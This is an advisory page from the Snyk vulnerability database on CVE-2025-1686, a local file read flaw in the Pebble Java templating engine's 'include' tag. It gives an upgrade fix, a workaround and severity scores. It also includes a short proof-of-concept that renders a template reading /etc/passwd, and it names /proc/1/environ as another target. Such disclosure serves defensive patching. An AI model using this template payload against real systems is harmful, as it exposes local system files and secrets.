

[Snyk Vulnerability Database](#) / [Maven](#) / [io.pebbletemplates:pebble](#)

External Control of File Name or Path

Affecting [io.pebbletemplates:pebble](#) package, versions`[0,4.1.0)`INTRODUCED: 24 FEB 2025 [CVE-2025-1686](#) [?](#) [CWE-73](#) [?](#)

How to fix?

Upgrade `io.pebbletemplates:pebble` to version 4.1.0 or higher.

Overview

[io.pebbletemplates:pebble](#) is a java templating engine inspired by Twig.

Affected versions of this package are vulnerable to External Control of File Name or Path via the `include` tag. A high privileged attacker can access sensitive local files by crafting malicious notification templates that leverage this tag to include files like `/etc/passwd` or `/proc/1/environ`.

Workaround

This vulnerability can be mitigated by disabling the `include` macro in Pebble Templates:

```
new PebbleEngine.Builder()
    .registerExtensionCustomizer(new
DisallowExtensionCustomizerBuilder()

    .disallowedTokenParserTags(List.of("include"))
        .build())
    .build();
```

PoC

The following test demonstrates the vulnerability:

Severity

RECOMMENDED

6.1

MEDIUM

0

10

CVSS assessment by Snyk's Security Team. [Learn more](#)

Threat Intelligence

Exploit Maturity

PROOF OF CONCEPT

EPSS

0.2% (43rd percentile)

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Disclosed	24 Feb 2025
Credit	Jonathan Leitschuh

```
PebbleEngine e = new PebbleEngine.Builder().build();

String templateString = """
    {% include '/etc/passwd' %}
    """;
PebbleTemplate template = e.getLiteralTemplate(templateString);

try (final Writer writer = new StringWriter()) {
    template.evaluate(writer, new HashMap<>());
    System.out.println(writer);
}
```

As an attacker, the following malicious template demonstrates the vulnerability:

```
{% include '/etc/passwd' %}
```

References

- [GitHub Commit](#)
- [GitHub Issue](#)
- [GitHub Issue](#)
- [Pebble Documentation](#)

CVSS Base Scores

version 4.0 version 3.1

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RECOMMENDED
6.1 MEDIUM

Attack Vector (AV)	Network	Confidentiality (VC)	None	Confidentiality (SC)	High
Attack Complexity (AC)	Low	Integrity (VI)	None	Integrity (SI)	None
Attack Requirements (AT)	None	Availability (VA)	None	Availability (SA)	None
Privileges Required (PR)	High				
User Interaction (UI)	None				

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